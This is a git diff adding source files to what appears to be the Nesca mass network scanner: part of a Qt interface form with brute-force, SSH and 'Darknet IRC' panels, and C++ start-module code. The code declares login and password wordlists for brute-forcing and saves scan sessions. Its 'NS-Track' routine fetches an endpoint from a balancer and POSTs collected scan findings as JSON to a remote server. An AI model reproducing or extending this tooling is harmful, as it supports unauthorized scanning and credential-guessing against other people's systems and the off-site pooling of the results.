rgba(255, 0, 0, 255)) + + + + + + + + + 445 + 0 + 5 + 8 + + + + border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255)) + + + + + + + + + 450 + 0 + 5 + 8 + + + + border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255)) + + + + + + + + + 265 + 53 + 70 + 10 + + + + + 0 + 0 + + + + + 0 + 0 + + + + + Eurostile + + + + color:rgb(255, 0, 0);background-color: rgba(2, 2, 2, 0); + + + 1 + + + New message + + + false + + + + + + 403 + 253 + 60 + 10 + + + + + 7 + + + + color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80); + + + :Pie statistics + + + + + + 455 + 10 + 10 + 20 + + + + background-color: rgba(0, 0, 0, 0); + + + _ + + + + + + 235 + 417 + 8 + 5 + + + + background-color: rgb(85, 0, 0); + + + + + + + + + 250 + 415 + 61 + 8 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + SSH + + + + + true + + + + 36 + 15 + 86 + 10 + + + + + 0 + 0 + + + + + 0 + 0 + + + + + Eurostile + + + + color:rgb(255, 0, 0);background-color: rgba(2, 2, 2, 0); + + + 1 + + + Outdated version + + + false + + + + + true + + + + 249 + 785 + 8 + 8 + + + + background-color: black; border: 1px solid white; + + + + + + graphicTextPlacer + BAText + labelNesca_3 + tabMainWidget + line + exitButton + labelIpRange + labelThreads + labelBaThreads + labelIpRange_Value + labelThreads_Value + labelBAThreads_Value + labelIPS + labelIPS_Value + dataText + labelParsed + labelParsed_Value + labelStatus + labelStatus_Value + labelTargetsLeft + labelTargetsLeft_Value + line_2 + RedLabel + YellowLabel + GreenLabel + BlueLabel + CyanLabel + PinkLabel + labelAnomaly + labelBA + labelFiltered + labelBads + labelOverloads + labelLowloads + graphicLog + logoLabel + WhiteLabel + labelAlives + me2ScanBut + QoSScanBut + graphicDelim + graphicLog_2 + graphicLog_Upper + labelBadAddr + labelOffline_Value + switcherBut + labelTracker + graphicActivityGrid + graphicActivity + VoiceScanBut + graphicsVoice + clearLogBut + secretMessageBut_1 + secretMessageBut_2 + secretMessageBut_3 + secretMessageBut_4 + secretMessageBut_5 + secretMessageBut_6 + secretMessageBut_7 + secretMessageBut_8 + newMessageLabel + PieStatBut + trayButton + DredLabel + labelSSH + rVerLabel + NSTrackStatusLabel + + + + + 500 + 44 + 498 + 730 + + + + + + + + + 49 + 49 + 49 + + + + + + + 0 + 0 + 0 + + + + + + + + + 49 + 49 + 49 + + + + + + + 0 + 0 + 0 + + + + + + + + + 0 + 0 + 0 + + + + + + + 0 + 0 + 0 + + + + + + + + background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255)); + + + + + 83 + 30 + 163 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221); + + + addr.ne.jp + + + 128 + + + Qt::AlignCenter + + + IRC server here + + + + + + 10 + 705 + 469 + 20 + + + + + Eurostile + + + + + + + color:rgb(124, 124, 124);background-color: rgb(36, 36, 36);border:1px solid rgb(226, 226, 226); + + + + + + 256 + + + Qt::AlignLeading|Qt::AlignLeft|Qt::AlignVCenter + + + + + + + + + 250 + 30 + 82 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221); + + + 6667 + + + 5 + + + Qt::AlignCenter + + + IRC port here + + + + + + 369 + 30 + 117 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221); + + + + + + 16 + + + Qt::AlignCenter + + + Your nick here + + + + + + 220 + 85 + 75 + 23 + + + + + Eurostile + + + + + + + Connect + + + + + + 10 + 140 + 469 + 556 + + + + + Eurostile + + + + color: #AFAFAF;background-color: rgb(26, 26,26);border:1px solid rgb(221, 221, 221); + + + + + + QFrame::NoFrame + + + QFrame::Plain + + + false + + + true + + + <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> +<html><head><meta name="qrichtext" content="1" /><style type="text/css"> +p, li { white-space: pre-wrap; } +</style></head><body style=" font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;"> +<p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html> + + + true + + + 5 + + + Qt::TextBrowserInteraction + + + true + + + false + + + + + + 83 + 55 + 163 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221); + + + + + + 128 + + + Qt::AlignCenter + + + Proxy here + + + + + + 250 + 55 + 82 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221); + + + + + + 5 + + + Qt::AlignCenter + + + Proxy port here + + + + + + 337 + 55 + 149 + 20 + + + + + Eurostile + + + + + + + Check proxy + + + + + + 10 + 140 + 469 + 556 + + + + + Eurostile + + + + background-color: rgb(26, 26,26);border:1px solid rgb(221, 221, 221);color:rgb(125, 125, 125); + + + + + + QFrame::NoFrame + + + QFrame::Plain + + + false + + + true + + + <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> +<html><head><meta name="qrichtext" content="1" /><style type="text/css"> +p, li { white-space: pre-wrap; } +</style></head><body style=" font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;"> +<p style="-qt-paragraph-type:empty; margin-top:2px; margin-bottom:2px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html> + + + true + + + 5 + + + Qt::TextBrowserInteraction + + + true + + + false + + + + + + 481 + 140 + 16 + 556 + + + + Stalkers online + + + Stalkers online + + + border: 1px solid rgb(216, 216, 216); +color: rgb(216, 216, 216); +background-color: #000000; + + + < + + + + + + 329 + 145 + 147 + 0 + + + + background-color: rgba(0, 0, 0, 0.5); +color: rgb(212, 212, 212); + + + QFrame::Panel + + + QFrame::Plain + + + QListView::Adjust + + + true + + + + + + 44 + 115 + 435 + 20 + + + + + 7 + + + + background-color: rgb(26, 26,26);border:1px solid rgb(221, 221, 221);color:orange; + + + + + + 256 + + + + + + 440 + 80 + 48 + 12 + + + + + Eurostile + + + + Codepage + + + Codepage + + + background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40); +color: rgb(0, 214, 0); + + + UTF-8 + + + + + + 392 + 80 + 48 + 12 + + + + + Eurostile + + + + Codepage + + + Codepage + + + background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40); +color: rgb(71, 71, 71); + + + CP-1251 + + + + + + 20 + 30 + 56 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + IRC SERVER + + + + + + 10 + 55 + 68 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + PROXY&PORT + + + + + + 340 + 30 + 27 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + NICK + + + + + + 10 + 115 + 31 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + TOPIC + + + nickList + ircRaw + ircServerBox + shoutBox + serverPortBox + ircNickBox + IRCConnectBut + ircText + ircProxy + ircProxyPort + IRCCheckProxyBut + nickShowBut + topicLine + IRCUTFMode + IRCCP1251Mode + labelIPRange_2 + labelIPRange_3 + labelIPRange_4 + labelIPRange_5 + + + + + 500 + 44 + 498 + 730 + + + + background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255)); + + + + + 10 + 30 + 480 + 41 + + + + Qt::ScrollBarAlwaysOff + + + Qt::ScrollBarAlwaysOff + + + + + + 10 + 105 + 480 + 296 + + + + + + + 10 + 425 + 480 + 296 + + + + + + + + 440 + 50 + 48 + 16 + + + + + Eurostile + + + + Online datastream + + + Online datastream + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40); + + + :Dataflow + + + + + + 340 + 50 + 48 + 16 + + + + + Eurostile + + + + Darknet IRC + + + Darknet IRC + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40); + + + :IRC + + + + + + 390 + 50 + 48 + 16 + + + + + Eurostile + + + + IP range distribution + + + IP range distribution + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40); + + + :Jobs + + + + + true + + + + 290 + 50 + 48 + 16 + + + + + Eurostile + + + + Raw or normal log view + + + Raw or normal log view + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40); + + + :IRC raw + + + widget + widgetJOB + widgetIRC + IRCModeChangerBut + IRCModeBut + JobModeBut + DataflowModeBut + + + + + ipLine + portLine + threadLine + lineEditStartIPDNS + lineILVL + lineEditPort + lineEditThread + lineTrackerSrv + lineTrackerScr + linePersKey + trackerOnOff + tabMainWidget + startScanButton_3 + startScanButton_4 + exitButton + dataText + + + + + + diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp new file mode 100644 index 0000000..cbd4f17 --- /dev/null +++ b/nesca_startModule.cpp @@ -0,0 +1,2881 @@ +#pragma once +#include "STh.h" +#include "mainResources.h" +#include "externData.h" +#include "externFunctions.h" + +typedef struct ST{ + char argv[MAX_ADDR_LEN]; +}sockstruct; + +QJsonArray *jsonArr = new QJsonArray(); + +bool gShuffle = true; +bool __savingBackUpFile = false; +bool horLineFlag = false; +static int portArr[65536] = {0}; +int gThreadDelay = 10; +int gC = 0; +int gTimeOut = 3; +int PieAnomC1 = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieWF = 0, PieSSH = 0; +int AnomC1 = 0, Filt = 0, Overl = 0, Lowl = 0, Alive = 0, saved = 0, Susp = 0, WF = 0, offlines = 0, ssh = 0; +int GlobalNegativeSize = 0; +int ipCounter = 0; +int mode; +int found = 0, indexIP = 1; +int gMode; +int isActive = 0; +int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSSHPass = 0; +int ipsstart[4], ipsend[4], + overallPorts, flCounter, octet[4]; +unsigned char **ipsstartfl = NULL, **ipsendfl = NULL, **starterIP = NULL; +int gPingTimeout = 2000; +double ips = 0; +char top_level_domain[128] = {0}; +char endIP2[128] = {0}; +char **GlobalNegatives = 0; +char **loginLst, **passLst; +char **wfLoginLst, **wfPassLst; +char **sshlpLst; +char saveStartIP[128] = {0}; +char saveEndIP[128] = {0}; +char gRange[128] = {0}; +char gFirstDom[128] = {0}; +char gPorts[65536] = {0}; +char metaIPDNS[256] = {0}; +char metaRange[256] = {0}; +char metaPercent[256] = {0}; +char metaIPS[256] = {0}; +char metaTargets[256] = {0}; +char metaETA[256] = {0}; +char metaOffline[256] = {0}; +bool ErrLogFirstTime = true; +bool gPingNScan = false; +unsigned long long gTargets = 0, gTargetsOverall = 1, targets, Activity = 0; +volatile int gThreads; +volatile int cons = 0; +volatile int BA = 0; +volatile int BrutingThrds = 0; +volatile int threads = 20; + +void SaveErrorLog(char *sender, char *MesSent, char *ReplRecv) +{ + FILE *errFile = fopen("./logs/ns-track_errors.html", "r"); + if(errFile != NULL) + { + fclose(errFile); + }; +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + CreateDirectory(L"./logs", NULL); +#else + struct stat st = {0}; + if (stat("./logs", &st) == -1) { + mkdir("./logs", 0700); + } +#endif + time_t rtime; + time(&rtime); + char cdate[32] = {0}; + strcpy (cdate, ctime (&rtime)); + + char *totalErrLog = NULL; + char stylePart[] = {""}; + char firstPart[] = {"
"}; + char secondPart[] = {"
Message sent:
"};
+	char thirdPart[] = {"
Reply received:
"}; + + int sz = strlen(stylePart) + strlen(firstPart) + strlen(secondPart) + strlen(thirdPart) + strlen(forthPart) + strlen(QByteArray(MesSent).replace("\r\n", "\n").data()) + (strlen(ReplRecv) + 50*strlen(ReplRecv)/100) + strlen(cdate) + strlen(sender); + + totalErrLog = new char[sz + 4]; + ZeroMemory(totalErrLog, sz); + if(ErrLogFirstTime) strcat(totalErrLog, stylePart); + strcat(totalErrLog, firstPart); + strcat(totalErrLog, sender); + strcat(totalErrLog, " - "); + strcat(totalErrLog, cdate); + strcat(totalErrLog, secondPart); + strcat(totalErrLog, QByteArray(MesSent).replace("\r\n", "\n").data()); + strcat(totalErrLog, thirdPart); + strcat(totalErrLog, base64_encode((const unsigned char *)ReplRecv, strlen(ReplRecv)).c_str()); + strcat(totalErrLog, forthPart); + memset(totalErrLog + sz, '\0', 1); + + errFile = fopen("./logs/ns-track_errors.html", "a"); + if(errFile != NULL) + { + fwrite(totalErrLog, sz, 1, errFile); + fclose(errFile); + } + else + { + stt->doEmitionRedFoundData("[Log] -Cant open log file!"); + }; + if(totalErrLog != NULL) + { + delete []totalErrLog; + totalErrLog = NULL; + }; +}; +QString GetNSErrorDefinition(char *str, char *elem) +{ + char *temp = strstr(str, elem); + + if(temp != NULL) + { + char definition[128] = {0}; + char *firstComma = strstr(temp + strlen(elem) + 1, "\""); + char *lastComma = strstr(firstComma + 1, "\""); + + int sz = lastComma - firstComma - 1; + + strncpy(definition, firstComma + 1, (sz < 128 ? sz : 128)); + + return QString(definition); + } + else return QString("No definition found!"); +}; +void ConInc() +{ + __asm + { + lock inc cons; + }; + #pragma region QTGUI_Area + stt->doEmitionThreads(QString::number(cons) + "/" + QString::number(gThreads)); + #pragma endregion +}; +void ConDec() +{ + if(cons > 0) + { + __asm + { + lock dec cons; + }; + }; + #pragma region QTGUI_Area + stt->doEmitionThreads(QString::number(cons) + "/" + QString::number(gThreads)); + #pragma endregion +}; +void _SaveBackupToFile() +{ + char saveStr[512] = {0}; + char saveBuffer[65536] = {0}; + char endStr[128] = {0}; + + if(gMode == 0 || gMode == 1) + { + if(gMode == 1) + { + strcpy(endStr, endIP2); + } + else + { + if(strstr(endIP2, "-") != NULL) strcpy(endStr, strstr(endIP2, "-")); + else if(strstr(endIP2, "/") != NULL) strcpy(endStr, strstr(endIP2, "/")); + else + { + char temp[512] = {0}; + strncpy(temp, endIP2, 512); + strcat(endIP2, "-"); + strcat(endIP2, temp); + strcpy(endStr, strstr(endIP2, "-")); + }; + }; + + if(strlen(endIP2) > 0) + { + strcpy(saveStr, "[SESSION]:"); + strcat(saveStr, std::to_string(gMode).c_str()); + strcat(saveStr, " "); + if(gMode == 0) strcat(saveStr, saveStartIP); + strcat(saveStr, endStr); + if(gMode == 1) + { + strcat(saveStr, " "); + strcat(saveStr, top_level_domain); + }; + strcat(saveStr, " "); + strcat(saveStr, std::to_string(gThreads).c_str()); + strcat(saveStr, " "); + strcat(saveStr, gPorts); + + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + }; + } + else if(gMode == -1) + { + char curIpStart[16] = {0}; + char curIpEnd[16] = {0}; + char ipRange[128] = {0}; + + if(flCounter > 0) + { + FILE *savingFile = fopen("tempIPLst.bk", "w"); + if (savingFile != NULL) + { + for(int tCounter = gC; tCounter < flCounter; ++tCounter) + { + for(int i = 0; i < 4; ++i) + { + strcat(curIpStart, std::to_string(ipsstartfl[tCounter][i]).c_str()); + if ( i != 3) strcat(curIpStart, "."); + strcat(curIpEnd, std::to_string(ipsendfl[tCounter][i]).c_str()); + if ( i != 3) strcat(curIpEnd, "."); + }; + + strcpy(ipRange, curIpStart); + strcat(ipRange, "-"); + strcat(ipRange, curIpEnd); + strcat(ipRange, "\n"); + + fputs(ipRange, savingFile); + + ZeroMemory(ipRange, sizeof(ipRange)); + ZeroMemory(curIpStart, sizeof(curIpStart)); + ZeroMemory(curIpEnd, sizeof(curIpEnd)); + }; + fclose(savingFile); + } + else stt->doEmitionRedFoundData("[_saver] Cannot open file."); + }; + + strcpy(saveStr, "[SESSION]:"); + strcat(saveStr, std::to_string(gMode).c_str()); + strcat(saveStr, " RESTORE_IMPORT_SESSION"); + strcat(saveStr, " "); + strcat(saveStr, std::to_string(gThreads).c_str()); + strcat(saveStr, " "); + strcat(saveStr, gPorts); + + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + }; + + strcpy(saveStr, "[NDBSERVER]:"); + strcat(saveStr, trcSrv); + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + strcpy(saveStr, "[NDBSCRIPT]:"); + strcat(saveStr, trcScr); + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + strcpy(saveStr, "[NDBPORT]:"); + strcat(saveStr, trcSrvPortLine); + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + strcpy(saveStr, "[PROXY]:"); + strcat(saveStr, trcProxy); + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + strcpy(saveStr, "[PROXYPORT]:"); + strcat(saveStr, trcPort); + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + strcpy(saveStr, "[IRCSERVER]:"); + strcat(saveStr, ircServer); + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + strcpy(saveStr, "[IRCPORT]:"); + strcat(saveStr, ircPort); + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + strcpy(saveStr, "[IRCPROXY]:"); + strcat(saveStr, ircProxy); + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + strcpy(saveStr, "[IRCPROXYPORT]:"); + strcat(saveStr, ircProxyPort); + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + strcpy(saveStr, "[IRCNICK]:"); + strcat(saveStr, ircNick); + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + strcpy(saveStr, "[PING]:"); + strcat(saveStr, gPingNScan ? "true" : "false"); + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + strcpy(saveStr, "[PING_TO]:"); + char tb[16] = {0}; + strcat(saveStr, itoa(gPingTimeout, tb, 10)); + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + strcpy(saveStr, "[THREAD_DELAY]:"); + ZeroMemory(tb, 16); + strcat(saveStr, itoa(gThreadDelay, tb, 10)); + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + strcpy(saveStr, "[TIMEOUT]:"); + ZeroMemory(tb, 16); + strcat(saveStr, itoa(gTimeOut, tb, 10)); + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + strcpy(saveStr, "[MAXBTHR]:"); + ZeroMemory(tb, 16); + strcat(saveStr, itoa(gMaxBrutingThreads, tb, 10)); + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + strcpy(saveStr, "[PERSKEY]:"); + strcat(saveStr, trcPersKey); + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + FILE *savingFile = fopen("restore", "w"); + + if (savingFile != NULL) + { + fputs(saveBuffer, savingFile); + fclose(savingFile); + } + else stt->doEmitionRedFoundData("[_saver] Cannot open file."); + + ZeroMemory(saveStr, strlen(saveStr)); + ZeroMemory(saveBuffer, strlen(saveBuffer)); +}; +void _saver() +{ + while(globalScanFlag) + { + __savingBackUpFile = true; + _SaveBackupToFile(); + __savingBackUpFile = false; + Sleep(10000); + }; +}; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) +void _timer() +#else +void *_timer() +#endif +{ + char dbuffer[32] = {0}, timeLeft[64] = {0}, b[32] = {0}; + int ticks = 0; + int ovrlIPs = 0; + ips = 1; + Sleep(50); + while(globalScanFlag) + { + ++ticks; + ovrlIPs += ipCounter; + ipCounter = 0; + ips = ovrlIPs/ticks; + strncpy(b, QString::number(ips).toLocal8Bit().data(), 5); + + strcpy(metaIPS, b); + strcat(timeLeft, b); + strcat(timeLeft, "/s ("); + + if(ips > 0) + { + strncpy(dbuffer, std::to_string(((gTargets + 1)/ips/3600/24)).c_str(), 5); + } + else strcpy(dbuffer, "INF"); + strcpy(metaETA, dbuffer); + strcat(dbuffer, "d)"); + strcat(timeLeft, (strcmp(dbuffer, "1.$d)") == 0 ? "INF)" : dbuffer)); + +#pragma region QTGUI_Area + stt->doEmitionIPS(QString(timeLeft)); + stt->doEmitionOffline(QString::number(offlines)); +#pragma endregion + ZeroMemory(timeLeft, sizeof(timeLeft)); + ZeroMemory(dbuffer, sizeof(dbuffer)); + Sleep(1000); + }; +}; +bool trackAlreadyGoing = false; +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) +void _tracker() +#else +void *_tracker() +#endif +{ + if(trackAlreadyGoing == false) + { + while(trackerOK) + { + if(globalScanFlag == false && jsonArr->size() == 0) break; + char rBuffT[250000] = {0}; + char *msg = new char[4096]; + ZeroMemory(msg, sizeof(msg)); + char ndbServer[64] = {0}; + char ndbScriptT[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET /"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.1\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True\r\nContent-Type: application/x-www-form-urlencoded\r\nConnection: close\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + if(connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)) == -1) + { + CSSOCKET(sock); +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); +#pragma endregion + continue; + }; + + if(send(sock, msg, strlen(msg), 0) == -1) + { + CSSOCKET(sock); +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); +#pragma endregion + continue; + }; + + ZeroMemory(rBuffT, sizeof(rBuffT)); + char rBuff[512] = {0}; + int test = recv(sock, rBuff, sizeof(rBuff), 0); + strcpy(rBuffT, rBuff); + + while((test = recv(sock, rBuff, sizeof(rBuff), 0)) != 0) + { + if(strlen(rBuffT) > 200000) + { + stt->doEmitionRedFoundData("[NS-Track] (Outer) -Large error received from server (>200000b) " + QString::number(WSAGetLastError()) + "."); + SaveErrorLog("NS-Track", msg, rBuffT); + break; + }; + strcat(rBuffT, rBuff); + }; + + if(test == -1) + { + CSSOCKET(sock); +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); +#pragma endregion + continue; + }; + + char *t1; + char *t2; + if(strstr(rBuffT, "http://") != NULL) + { + t1 = strstr(rBuffT, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { + CSSOCKET(sock); +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); + SaveErrorLog("NS-Track", msg, rBuffT); +#pragma endregion + continue; + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + if(strlen(t2) > 64) + { +#pragma region QTGUI_Area + stt->doEmitionYellowFoundData("[NS-Track] -Fragmentation detected!"); +#pragma endregion + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + CSSOCKET(sock); +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); +#pragma endregion + SaveErrorLog("NS-Track", msg, rBuffT); + continue; + } + else + { + strncpy(ndbScriptT, t2, y); + CSSOCKET(sock); +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[NS-Track] -OK! -Fragmented server string aquired! Starting NS-Track loop..."); +#pragma endregion + strncpy(ndbScript, ndbScriptT, strlen(ndbScriptT) ); + }; + } + else + { + CSSOCKET(sock); +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); +#pragma endregion + SaveErrorLog("NS-Track", msg, rBuffT); + continue; + }; + } + else + { + strcpy(ndbScriptT, t2); +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[NS-Track] -OK! -Server string aquired! Starting NS-Track loop..."); +#pragma endregion + CSSOCKET(sock); + strncpy(ndbScript, ndbScriptT, strlen(ndbScriptT) - 2 ); + }; + } + else + { + CSSOCKET(sock); +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -Cannot receive script value!"); +#pragma endregion + continue; + }; + + ZeroMemory(rBuffT, sizeof(rBuffT)); + CSSOCKET(sock); + + while(true) + { + if(globalScanFlag == false && jsonArr->size() == 0) break; + if(!trackerOK) { + Sleep(1000); + continue; + }; + + trackAlreadyGoing = true; + + if(jsonArr->size() > 0) + { + QJsonObject jsonKey; + if(jsonArr == NULL) jsonArr = new QJsonArray(); + + QJsonObject jsonMeta; + if(mode == 0) jsonMeta.insert("mode", QJsonValue(QString("IP"))); // + else if(mode == 1) jsonMeta.insert("mode", QJsonValue(QString("DNS"))); //Mode + else if(mode == -1) jsonMeta.insert("mode", QJsonValue(QString("Import"))); // + jsonMeta.insert("range", QJsonValue(QString(metaRange)) ); + jsonMeta.insert("current", QJsonValue(QString(metaIPDNS)) ); + if(mode == 1) jsonMeta.insert("tld", QJsonValue(QString(top_level_domain))); //TLD + jsonMeta.insert("targets", QJsonValue(QString(metaTargets)) ); + jsonMeta.insert("percent", QJsonValue(QString(metaPercent)) ); + jsonMeta.insert("saved", QJsonValue(QString::number(saved)) ); + jsonMeta.insert("found", QJsonValue(QString::number(found)) ); + jsonMeta.insert("speed", QJsonValue(QString(metaIPS)) ); + jsonMeta.insert("eta", QJsonValue(QString(metaETA)) ); + jsonMeta.insert("threads", QJsonValue(QString::number(cons) + "/" + QString::number(gThreads)) ); + jsonMeta.insert("bads", QJsonValue(QString::number(offlines)) ); + jsonMeta.insert("version", QJsonValue(QString(gVER)) ); + + jsonArr->push_front(QJsonValue(jsonMeta) ); + memset(trcPersKey + 32, '\0', 1); + jsonKey.insert("key", QJsonValue(QString(trcPersKey)) ); + jsonArr->push_front(jsonKey); + + QJsonDocument js; + js.setArray(*jsonArr); + QByteArray r = js.toJson(); + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + if(msg != NULL) + { + delete []msg; + msg = 0; + }; + msg = new char[r.size() + 1024]; + ZeroMemory(msg, sizeof(msg)); + + strcpy(msg, "POST /"); + strcat(msg, ndbScript); + strcat(msg, " HTTP/1.1\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nContent-Type: application/json\r\nAccept-Encoding: application/json\r\nContent-Length: "); + + strcat(msg, std::to_string(r.size()).c_str()); + strcat(msg, "\r\nConnection: close\r\n\r\n"); + + strcat(msg, r.data()); + + delete jsonArr; + jsonArr = new QJsonArray(); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + 